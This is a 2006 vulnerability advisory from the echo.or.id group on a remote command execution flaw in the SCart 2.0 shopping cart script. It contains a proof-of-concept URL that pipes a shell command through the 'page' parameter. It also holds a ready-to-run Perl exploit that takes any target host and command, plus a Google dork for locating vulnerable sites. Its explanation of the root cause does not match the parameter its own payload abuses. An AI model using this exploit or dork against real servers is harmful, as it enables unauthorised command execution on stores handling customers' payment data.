adv32-K-159-2006.txt

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| __)_ / \ \// ~ \/ | \   
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\/ \/ \/ \/   
  
.OR.ID  
ECHO_ADV_32$2006  
  
---------------------------------------------------------------------------  
[ECHO_ADV_32$2006] SCart 2.0 Remote Code Execution  
---------------------------------------------------------------------------  
  
Author : M.Hasran Addahroni a.k.a K-159  
Date : June, 3th 2006  
Location : Indonesia, Bali  
Web : http://advisories.echo.or.id/adv/adv32-K-159-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SCart   
  
Application : SCart   
version : 2.0  
URL : http://www.scartserver.com  
Description :  
  
SCart is a free shopping cart online store service with e-commerce and real-time credit card and check payment processing service.  
  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~~~~~  
In scart.cgi we have source code like this  
  
-----------------------scart.cgi-----------------------------  
...  
require 'scart.pl';  
require '/home/scart/cgi-bin/2.0/scartserver.cgi';  
...  
--------------------------------------------------------------  
  
then at scartserver.cgi in cgi-bin folder the code like this  
  
---------------scartserver.cgi--------------------------------  
...  
$HTML{TAB2} = "$baseurl$cgiurl/?action=show_page&base=base2.html&page=browse.txt";  
$HTML{TAB3} = "$baseurl$cgiurl/?action=show_page&base=base3.html&page=specials.txt";  
$HTML{BUTTONBAR} = $buttonbar;  
$HTML{VIEWCART} = "$baseurl$cgiurl?action=viewcart";  
$HTML{CHECKOUT} = "$secureurl$cgiurl?action=checkout";  
$HTML{TRACK} = "$baseurl$cgiurl?action=show_track";  
$HTML{HELP} = "$baseurl$cgiurl/?action=show_page&base=base.html&page=help.txt";  
...  
------------------------------------------------------------------  
  
Variables $baseurl and $cgiurl are not properly sanitized.This can be used to execute arbitrary commands.  
  
Proof Of Concept:  
~~~~~~~~~~~~~~~~~  
  
http://www.scartserver.com/2.0/[client_user_name]/scart.cgi/?action=show_page&base=base2.html&page=|id|  
  
Solution:  
~~~~~~~~~  
  
no solution yet  
  
Notification:  
~~~~~~~~~~~~  
  
vendor was contact but no response.  
  
---------------------------------------------------------------------------  
Shoutz:  
~~~~~~~  
~ ping - my dearest wife, for all the luv the tears n the breath   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit  
~ [email protected]   
~ #aikmel #e-c-h-o @irc.dal.net  
---------------------------------------------------------------------------  
Contact:  
~~~~~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
-------------------------------- [ EOF ] ----------------------------------  
  
Perl Exploit:  
~~~~~~~~~~~~  
  
#!/usr/bin/perl  
##  
# SCart 2.0 Remote Code Execution Exploit  
# Bugs Found & code By K-159  
#   
## base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt  
#   
# echo.or.id (c) 2006  
#  
##  
# usage:  
# perl scart.pl <target> </path/> "cmd"  
#  
# Google Dork : site:scartserver.com  
#  
# Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc  
#  
# Contact: eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net  
#  
use IO::Socket;  
use LWP::Simple;  
  
sub Usage {  
print STDERR "\n ========================================================= \r\n";  
print STDERR " *SCart 2.0 Remote Code Execution Exploit* \r\n";  
print STDERR " Bugs Found by K-159 \r\n";  
print STDERR " www.echo.or.id #e-c-h-o irc.dal.net \r\n";  
print STDERR " Usage: $0 <www.target.com> </path/> \"cmd\" \r\n";  
print STDERR "============================================================= \r\n";  
exit;  
}  
  
if (@ARGV < 3)  
{  
Usage();  
}  
  
  
$host = @ARGV[0];  
$path = @ARGV[1];  
$command = @ARGV[2];  
  
print "\n[+] Conecting to $host\n";  
  
my $result = get("http://$host$path/scart.cgi?action=show_page&base=base2.html&page=browse.txt|$command|");  
  
if (defined $result) {  
print $result;  
}  
else {  
print "Exploit Failed.\n";  
}  
`